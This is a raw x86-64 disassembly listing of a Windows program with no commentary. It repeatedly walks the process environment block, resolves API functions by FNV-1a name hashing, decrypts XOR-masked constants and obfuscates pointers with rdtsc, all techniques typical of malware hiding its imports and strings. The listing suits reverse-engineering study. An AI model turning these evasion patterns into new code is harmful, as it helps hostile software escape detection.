cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140042623
cmp r9d, edi
jne 0x140042797
mov r11, qword [rcx + 0x30]
test r11, r11
je 0x14004279f
movsxd rax, dword [r11 + 0x3c]
mov rdx, qword [rax + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140042797
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140042797
mov r12d, dword [r15 + 0x20]
dec r10d
lea rax, [r11 + r10*4]
mov edx, dword [rax + r12]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x1400426d9
movsx eax, bl
sub bl, 0x41
mov edx, eax
or edx, 0x20
cmp bl, 0x19
cmova edx, eax
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x1400426b2
cmp r9d, r14d
je 0x1400426eb
test r10d, r10d
jne 0x140042691
mov rcx, qword [rcx]
jmp 0x1400425f0
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
cmp rdx, r15
jbe 0x1400427a1
lea rax, [r15 + r13]
cmp rdx, rax
jae 0x1400427a1
mov edi, 0x811c9dc5
mov r14d, edi
movzx ebx, byte [rdx]
cmp bl, 0x2e
je 0x140042754
nop word [rax + rax]
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
inc rdx
movzx ebx, byte [rdx]
cmp bl, 0x2e
jne 0x140042730
inc rdx
movzx ebx, byte [rdx]
test bl, bl
je 0x140042786
nop
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, r14d
imul r14d, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx ebx, byte [rdx]
test bl, bl
jne 0x140042760
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x1400425f0
xor edx, edx
call rdx
cmp eax, 0xb7
je 0x140046f85
xor esi, esi
mov edi, 0x8285aca5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x11e0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140042840
mov r8, qword [rbp + 0x11e8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140042837
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140042810
cmp r9d, esi
jne 0x140042985
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14004298d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140042985
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140042985
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r12]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x1400428c8
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x1400428a1
cmp r9d, edi
je 0x1400428da
test r10d, r10d
jne 0x140042880
mov rax, qword [rax]
jmp 0x1400427d0
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
cmp rdx, r15
jbe 0x14004298f
lea rax, [r15 + r13]
cmp rdx, rax
jae 0x14004298f
mov esi, 0x811c9dc5
mov edi, esi
movzx ebx, byte [rdx]
cmp bl, 0x2e
je 0x140042944
nop dword [rax + rax]
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rdx
movzx ebx, byte [rdx]
cmp bl, 0x2e
jne 0x140042920
inc rdx
movzx ebx, byte [rdx]
test bl, bl
je 0x140042974
nop
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx ebx, byte [rdx]
test bl, bl
jne 0x140042950
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x1400427d0
xor edx, edx
mov rcx, qword [rbp + 8]
call rdx
mov ecx, 0x400
call fcn.14000d710
mov qword [rbp + 0x2d80], rax
test rax, rax
je 0x1400429b8
mov rcx, rax
call fcn.140033120
mov r14, rax
jmp 0x1400429bb
xor r14d, r14d
mov qword [rsp + 0x78], r14
mov qword [0x1401bf1c8], r14
rdtsc
shl rdx, 0x20
or rax, rdx
mov r8, rax
add r8, r8
mov rcx, qword [rbp + 0x3a18]
imul rdx, rcx, 0x34124c
mov r9, qword [0x1401bf1c0]
add r9, rdx
mov qword [0x1401bf1c0], r9
mov dword [r14 + 0x81], r9d
mov ecx, r9d
neg ecx
mov r12d, 0x40
test ecx, ecx
jle 0x140042a2c
and ecx, 0x3f
mov edx, ecx
mov eax, r12d
sub eax, ecx
mov rbx, r8
movzx ecx, al
shr rbx, cl
movzx ecx, dl
mov rdx, r8
shl rdx, cl
or rdx, rbx
jmp 0x140042a4b
mov eax, r9d
and eax, 0x3f
mov edx, eax
mov ecx, r12d
sub ecx, eax
mov rax, r8
shl rax, cl
movzx ecx, dl
mov rdx, r8
shr rdx, cl
or rdx, rax
mov r11d, r9d
movabs rax, 0x1331bb6a6b4414db
sub r11, rax
xor r11, rdx
mov qword [r14 + 0x71], r11
mov ecx, r9d
mov r10, r11
test r9d, r9d
jle 0x140042a8b
and ecx, 0x3f
mov edx, ecx
mov eax, r12d
sub eax, ecx
mov rbx, r11
movzx ecx, al
shr rbx, cl
movzx ecx, dl
shl r10, cl
or r10, rbx
jmp 0x140042aa6
neg ecx
and ecx, 0x3f
mov edx, ecx
mov ecx, r12d
sub ecx, edx
mov rax, r11
shl rax, cl
movzx ecx, dl
shr r10, cl
or r10, rax
movabs rax, 0x7b121526b7cfab92
imul r10, rax
mov qword [r14 + 0x79], r10
xor r8, r11
cmp r9d, 0x7fffffff
jb 0x140042aeb
mov ecx, r9d
neg ecx
test ecx, ecx
jle 0x140042b0f
and ecx, 0x3f
mov edx, ecx
mov eax, r12d
sub eax, ecx
mov rbx, r8
movzx ecx, al
shr rbx, cl
movzx ecx, dl
shl r8, cl
or r8, rbx
jmp 0x140042b29
test r9d, r9d
jle 0x140042b0c
and r9d, 0x3f
mov ecx, r12d
sub ecx, r9d
mov rbx, r8
shr rbx, cl
movzx ecx, r9b
shl r8, cl
or r8, rbx
jmp 0x140042b29
neg r9d
and r9d, 0x3f
mov ecx, r12d
sub ecx, r9d
mov rax, r8
shl rax, cl
movzx ecx, r9b
shr r8, cl
or r8, rax
xor r8, r10
mov qword [r14 + 0x69], r8
xor esi, esi
mov edi, 0x5d4d5b80
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x11f0], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140042bc0
mov r8, qword [rbp + 0x11f8]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140042bb7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140042b90
cmp r9d, esi
jne 0x140042d16
mov r11, qword [rax + 0x30]
test r11, r11
je 0x140042d1e
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov rcx, rdx
shr rcx, 0x20
mov qword [rbp + 8], rcx
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140042d16
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140042d16
mov r13d, dword [r15 + 0x20]
dec r10d
lea rcx, [r11 + r10*4]
mov edx, dword [rcx + r13]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [r11 + 1]
add r8, rdx
test bl, bl
je 0x140042c57
nop word [rax + rax]
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140042c30
cmp r9d, edi
je 0x140042c69
test r10d, r10d
jne 0x140042c04
mov rax, qword [rax]
jmp 0x140042b50
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov r8d, dword [rcx + rax*4]
add r8, r11
cmp r8, r15
jbe 0x140042d21
mov rax, qword [rbp + 8]
add rax, r15
cmp r8, rax
jae 0x140042d21
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [r8]
cmp dl, 0x2e
je 0x140042cd5
nop dword [rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc r8
movzx edx, byte [r8]
cmp dl, 0x2e
jne 0x140042cb0
inc r8
movzx edx, byte [r8]
test dl, dl
je 0x140042d05
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea r8, [r8 + 1]
movzx edx, byte [r8]
test dl, dl
jne 0x140042ce0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140042b50
xor r8d, r8d
mov r14, qword [rsp + 0x78]
mov ecx, dword [r14 + 0x81]
mov r9, qword [r14 + 0x79]
xor r9, qword [r14 + 0x69]
cmp ecx, 0x7fffffff
jb 0x140042dd5
test ecx, ecx
jle 0x140042d63
and ecx, 0x3f
mov edx, ecx
mov eax, r12d
sub eax, ecx
mov rbx, r9
movzx ecx, al
shr rbx, cl
movzx ecx, dl
shl r9, cl
or r9, rbx
jmp 0x140042d7e
neg ecx
and ecx, 0x3f
mov edx, ecx
mov ecx, r12d
sub ecx, edx
mov rax, r9
shl rax, cl
movzx ecx, dl
shr r9, cl
or r9, rax
xor r9, qword [r14 + 0x71]
xor r9, r8
mov rax, qword [rbp + 0x3a18]
imul rcx, rax, 0x34124c
mov r8, qword [0x1401bf1c0]
add r8, rcx
mov qword [0x1401bf1c0], r8
mov dword [r14 + 0x9d], r8d
mov ecx, r8d
neg ecx
test ecx, ecx
jle 0x140042df8
and ecx, 0x3f
mov edx, ecx
mov eax, r12d
sub eax, ecx
mov rbx, r9
movzx ecx, al
shr rbx, cl
movzx ecx, dl
mov rdx, r9
shl rdx, cl
or rdx, rbx
jmp 0x140042e17
mov ebx, ecx
neg ebx
test ebx, ebx
jle 0x140042d65
and ebx, 0x3f
mov edx, ebx
mov ecx, r12d
sub ecx, ebx
mov rbx, r9
shr rbx, cl
movzx ecx, dl
shl r9, cl
or r9, rbx
jmp 0x140042d7e
mov eax, r8d
and eax, 0x3f
mov edx, eax
mov ecx, r12d
sub ecx, eax
mov rax, r9
shl rax, cl
movzx ecx, dl
mov rdx, r9
shr rdx, cl
or rdx, rax
mov r11d, r8d
movabs rax, 0x36f90ec1f789136d
sub r11, rax
xor r11, rdx
mov qword [r14 + 0x8d], r11
mov ecx, r8d
mov r10, r11
test r8d, r8d
jle 0x140042e5a
and ecx, 0x3f
mov edx, ecx
mov eax, r12d
sub eax, ecx
mov rbx, r11
movzx ecx, al
shr rbx, cl
movzx ecx, dl
shl r10, cl
or r10, rbx
jmp 0x140042e75
neg ecx
and ecx, 0x3f
mov edx, ecx
mov ecx, r12d
sub ecx, edx
mov rax, r11
shl rax, cl
movzx ecx, dl
shr r10, cl
or r10, rax
movabs rax, 0xb3272322660fcd1d
imul r10, rax
mov qword [r14 + 0x95], r10
xor r9, r11
cmp r8d, 0x7fffffff
jb 0x140042ebc
mov ecx, r8d
neg ecx
test ecx, ecx
jle 0x140042ee1
and ecx, 0x3f
mov eax, ecx
sub r12d, ecx
mov rdx, r9
movzx ecx, r12b
shr rdx, cl
movzx ecx, al
shl r9, cl
or r9, rdx
jmp 0x140042efc
test r8d, r8d
jle 0x140042ede
and r8d, 0x3f
sub r12d, r8d
mov rdx, r9
movzx ecx, r12b
shr rdx, cl
movzx ecx, r8b
shl r9, cl
or r9, rdx
jmp 0x140042efc
neg r8d
and r8d, 0x3f
sub r12d, r8d
movzx ecx, r12b
mov rax, r9
shl rax, cl
movzx ecx, r8b
shr r9, cl
or r9, rax
xor r10, r9
mov qword [r14 + 0x85], r10
mov rax, qword [r14]
mov rcx, r14
call qword [rax]
cmp qword [0x1401bf1b8], 0
jne 0x140042f3e
mov ecx, 0x1018
call fcn.14000d710
mov qword [rbp + 0x2a08], rax
test rax, rax
je 0x140042f37
mov rcx, rax
call fcn.14004d930
nop
mov qword [0x1401bf1b8], rax
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0x37b0]
call fcn.14007b900
xor eax, eax
mov byte [rbp - 0x27], al
mov byte [rbp - 0x26], al
mov r8, qword [0x1401bf510]
test r8, r8
jne 0x140043195
xor esi, esi
mov edi, 0x70e2d349
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1200], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x140043000
mov r8, qword [rbp + 0x1208]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x140042ff7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140042fd0
cmp r9d, esi
jne 0x140043145
mov r11, qword [rax + 0x30]
test r11, r11
je 0x14004314d
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x140043145
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x140043145
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x140043088
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140043061
cmp r9d, edi
je 0x14004309a
test r10d, r10d
jne 0x140043040
mov rax, qword [rax]
jmp 0x140042f90
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov ebx, dword [rcx + rax*4]
add rbx, r11
cmp rbx, r15
jbe 0x14004314f
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x14004314f
mov esi, 0x811c9dc5
mov edi, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x140043104
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x1400430e0
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140043134
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140043110
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140042f90
xor ebx, ebx
mov qword [0x1401bf510], rbx
nop word [rax + rax]
rdtsc
shl rdx, 0x20
or rax, rdx
lea rcx, [rax + rax*4]
mov qword [0x1401bf518], rcx
cmp rcx, rbx
je 0x140043160
mov r8, rcx
xor r8, rbx
mov qword [0x1401bf510], r8
mov eax, ecx
xor eax, 0x70e2d349
mov dword [0x1401bf508], eax
jmp 0x14004319c
mov rcx, qword [0x1401bf518]
xor r8, rcx
movabs rax, 0xc85dbc374aea8b07
movabs rcx, 0xcfc1cc55b526d184
movabs rdx, 0xba38d454249fea6b
mov qword [rbp + 0x1210], rdx
mov qword [rbp + 0x1218], rcx
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rcx
xor eax, eax
mov byte [rbp - 0x25], al
movdqa xmm0, xmmword [rbp + 0x1210]
pxor xmm0, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0xf0], xmm0
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x37b0]
call r8
lea rdx, [rbp + 0x37b0]
mov rcx, qword [0x1401bf1b8]
call fcn.1400553b0
xor esi, esi
mov edi, 0x8b519c0d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x1220], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x1400432b0
mov r8, qword [rbp + 0x1228]
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x811c9dc5
cmp r8, r10
je 0x1400432a7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r8]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r9d
imul r9d, ebx, 0x1000193
add r8, 2
cmp r8, r10
jne 0x140043280
cmp r9d, esi
jne 0x1400433f5
mov r11, qword [rax + 0x30]
test r11, r11
je 0x1400433fd
movsxd rcx, dword [r11 + 0x3c]
mov rdx, qword [rcx + r11 + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, r11
cmp r15, r11
je 0x1400433f5
mov r10d, dword [r15 + 0x18]
test r10d, r10d
je 0x1400433f5
mov r12d, dword [r15 + 0x20]
dec r10d
lea rcx, [r12 + r10*4]
mov edx, dword [rcx + r11]
mov r9d, 0x811c9dc5
movzx ebx, byte [rdx + r11]
lea r8, [rdx + 1]
add r8, r11
test bl, bl
je 0x140043338
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
movzx ebx, byte [r8]
lea r8, [r8 + 1]
test bl, bl
jne 0x140043311
cmp r9d, edi
je 0x14004334a
test r10d, r10d
jne 0x1400432f0
mov rax, qword [rax]
jmp 0x140043240
mov ecx, dword [r15 + 0x1c]
add rcx, r11
mov eax, dword [r15 + 0x24]
add rax, r11
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r11
cmp rdx, r15
jbe 0x1400433ff
lea rax, [r15 + r13]
cmp rdx, rax
jae 0x1400433ff
mov esi, 0x811c9dc5
mov edi, esi
movzx ebx, byte [rdx]
cmp bl, 0x2e
je 0x1400433b4
nop dword [rax + rax]
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rdx
movzx ebx, byte [rdx]
cmp bl, 0x2e
jne 0x140043390
inc rdx
movzx ebx, byte [rdx]
test bl, bl
je 0x1400433e4
nop
movsx eax, bl
sub bl, 0x41
mov ecx, eax
or ecx, 0x20
cmp bl, 0x19
cmova ecx, eax
xor ecx, edi
imul edi, ecx, 0x1000193
lea rdx, [rdx + 1]
movzx ebx, byte [rdx]
test bl, bl
jne 0x1400433c0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140043240
xor edx, edx
xor ecx, ecx
call rdx
xor edx, edx
xor ecx, ecx
call fcn.140028440
lea rcx, [rbp + 0x14e0]
call fcn.1400302d0
lea rcx, [rbp + 0x14e0]
call fcn.14002fe00
nop
lea rdx, [0x1400c0c88]
lea rcx, [rbp + 0x160]
call fcn.14004f530
nop
lea rdx, [0x1400c0c88]
lea rcx, [rbp + 0x48]
call fcn.14004f530
nop
lea rcx, [rbp + 0x20]
call fcn.140039220
nop
mov rdi, qword [rbp + 0x20]
mov rsi, qword [rbp + 0x28]
cmp rdi, rsi
jne 0x140043880
xor esi, esi
mov r8d, 0x28255f84
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rbp + 0x19a8], xmm0
movd ecx, xmm0
sub cx, 8
test esi, esi
je 0x1400434f0
mov r9, qword [rbp + 0x19b0]
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x811c9dc5
cmp r9, r11
je 0x1400434e7
nop dword [rax]
nop word [rax + rax]
movsx ecx, byte [r9]
mov edx, ecx
sub cl, 0x41
mov ebx, edx
or ebx, 0x20
cmp cl, 0x19
cmova ebx, edx
xor ebx, r10d
imul r10d, ebx, 0x1000193
add r9, 2
cmp r9, r11
jne 0x1400434c0
cmp r10d, esi
jne 0x140043637
mov rdi, qword [rax + 0x30]
test rdi, rdi
je 0x14004363f
movsxd rcx, dword [rdi + 0x3c]
mov rdx, qword [rcx + rdi + 0x88]
mov r13, rdx
shr r13, 0x20
mov r15d, edx
add r15, rdi
cmp r15, rdi
je 0x140043637
mov r11d, dword [r15 + 0x18]
test r11d, r11d
je 0x140043637
mov r12d, dword [r15 + 0x20]
dec r11d
lea rcx, [r12 + r11*4]
mov edx, dword [rcx + rdi]
mov r10d, 0x811c9dc5
movzx ebx, byte [rdx + rdi]
lea r9, [rdx + 1]
add r9, rdi
test bl, bl
je 0x140043577
nop
movsx ecx, bl
sub bl, 0x41
mov edx, ecx
or edx, 0x20
cmp bl, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx ebx, byte [r9]
lea r9, [r9 + 1]
test bl, bl
jne 0x140043550
cmp r10d, r8d
je 0x140043589
test r11d, r11d
jne 0x140043530
mov rax, qword [rax]
jmp 0x140043480
mov ecx, dword [r15 + 0x1c]
add rcx, rdi
mov eax, dword [r15 + 0x24]
add rax, rdi
movzx eax, word [rax + r11*2]
mov ebx, dword [rcx + rax*4]
add rbx, rdi
cmp rbx, r15
jbe 0x140043641
lea rax, [r15 + r13]
cmp rbx, rax
jae 0x140043641
mov esi, 0x811c9dc5
mov r8d, esi
movzx edx, byte [rbx]
cmp dl, 0x2e
je 0x1400435f4
nop dword [rax + rax]
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, esi
imul esi, ecx, 0x1000193
inc rbx
movzx edx, byte [rbx]
cmp dl, 0x2e
jne 0x1400435d0
inc rbx
movzx edx, byte [rbx]
test dl, dl
je 0x140043626
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r8d
imul r8d, ecx, 0x1000193
lea rbx, [rbx + 1]
movzx edx, byte [rbx]
test dl, dl
jne 0x140043600
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x140043480
xor ebx, ebx
movabs rax, 0xdd1680046dcda138
movabs rcx, 0xa0b3be10950bf1e3
movabs rdx, 0x654acb962268d237
movabs r13, 0xde2a68bf263a2b4e
movabs r12, 0xba38d454249fea6b
mov qword [rbp + 0x1440], r12
movabs r15, 0xcfc1cc55b526d184
mov qword [rbp + 0x1448], r15
movabs r8, 0x654acb962268d245
mov qword [rbp + 0x1450], r8
mov qword [rbp + 0x1458], r13
mov qword [rbp + 0x290], rax
mov qword [rbp + 0x298], rcx
mov qword [rbp + 0x2a0], rdx
mov qword [rbp + 0x2a8], r13
movdqa xmm0, xmmword [rbp + 0x1440]
pxor xmm0, xmmword [rbp + 0x290]
movdqa xmmword [rbp + 0x290], xmm0
movdqa xmm1, xmmword [rbp + 0x1450]
pxor xmm1, xmmword [rbp + 0x2a0]
movdqa xmmword [rbp + 0x2a0], xmm1
movabs rcx, 0xce18bb1a04c2cb30
movabs rdi, 0x50c1707ae3a73ba9
movabs rsi, 0xdac338a3ac9cad74
movabs r8, 0xbbe1e021d041a3e5
movabs r9, 0x43eb8f35048ab37
movabs r10, 0x9d7a48d848535f3c
movabs r11, 0x28e31ac19cb45e7f
movabs r14, 0x563b420340b62980
mov qword [rbp + 0xb50], r12
mov qword [rbp + 0xb58], r15
movabs rax, 0x654acb962268d245
mov qword [rbp + 0xb60], rax
mov qword [rbp + 0xb68], r13
movabs rax, 0x5c9074a8bcc6315f
mov qword [rbp + 0xb70], rax
movabs rax, 0x31a40429c3cb57c8
mov qword [rbp + 0xb78], rax
movabs rdx, 0xeaf3089a8fc78d19
mov qword [rbp + 0xb80], rdx
movabs rax, 0x563b4203409874b2
mov qword [rbp + 0xb88], rax
mov qword [rbp + 0x480], rcx
mov qword [rbp + 0x488], r8
mov qword [rbp + 0x490], r9
mov qword [rbp + 0x498], r10
mov qword [rbp + 0x4a0], r11
mov qword [rbp + 0x4a8], rdi
mov qword [rbp + 0x4b0], rsi
mov qword [rbp + 0x4b8], r14
movdqa xmm0, xmmword [rbp + 0xb50]
pxor xmm0, xmmword [rbp + 0x480]
movdqa xmmword [rbp + 0x480], xmm0
movdqa xmm1, xmmword [rbp + 0xb60]
pxor xmm1, xmmword [rbp + 0x490]
movdqa xmmword [rbp + 0x490], xmm1
movdqa xmm0, xmmword [rbp + 0xb70]
pxor xmm0, xmmword [rbp + 0x4a0]
movdqa xmmword [rbp + 0x4a0], xmm0
movdqa xmm1, xmmword [rbp + 0xb80]
pxor xmm1, xmmword [rbp + 0x4b0]
movdqa xmmword [rbp + 0x4b0], xmm1
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0x480]
xor r9d, r9d
xor ecx, ecx
call rbx
nop
lea rcx, [rbp + 0x20]
call fcn.14002fc60
nop
lea rcx, [rbp + 0x48]
call fcn.14002fcd0
nop
lea rcx, [rbp + 0x160]
call fcn.14002fcd0
jmp 0x1400450ad
mov rcx, rdi
call fcn.14002b150
mov rcx, rax
call fcn.140075560
test al, al
jne 0x1400438ac
mov rcx, rdi
call fcn.14002b150
mov rcx, rax
call fcn.140075f70
test al, al
je 0x1400439a1
lea rdx, [rbp + 0x22a0]
mov rcx, rdi
call fcn.14004f4c0
mov rbx, qword [rax]
lea rdx, [rbp + 0x2298]
mov rcx, rdi
call fcn.14004f4e0
lea r9, [rbp - 0x24]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x3530]
call fcn.140054f50
nop
mov rcx, rax
call fcn.14000ac80
mov rdx, rax
lea rcx, [rbp + 0x98]
call fcn.1400747b0
nop
lea rcx, [rbp + 0x3530]
call fcn.14002b170
mov rax, qword [rbp + 0xa0]
cmp qword [rbp + 0x98], rax
je 0x140043995
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0x33b0]
call fcn.14004edf0
mov rdx, rax
lea rcx, [rbp + 0x33d0]
call fcn.140038de0
cmp byte [rbp + 0x33d0], 0
jne 0x140043988
mov eax, 7
xor ecx, ecx
cpuid
mov dword [rbp + 0xa00], eax
mov dword [rbp + 0xa04], ebx
mov dword [rbp + 0xa08], ecx
mov dword [rbp + 0xa0c], edx
shr ecx, 7
test cl, 1
je 0x140043979
cmp byte [rbp + 0x33d1], 0
lea rcx, [rbp + 0x48]
jne 0x140043980
lea rcx, [rbp + 0x160]
mov rdx, rdi
call fcn.14002fd30
lea rcx, [rbp + 0x33d0]
call fcn.14003c440
nop
lea rcx, [rbp + 0x98]
call fcn.140001e50
add rdi, 0x20
cmp rdi, rsi
jne 0x140043880
movabs r13, 0xeaf3089a8fc78d19
movabs r12, 0x563b4203409874b2
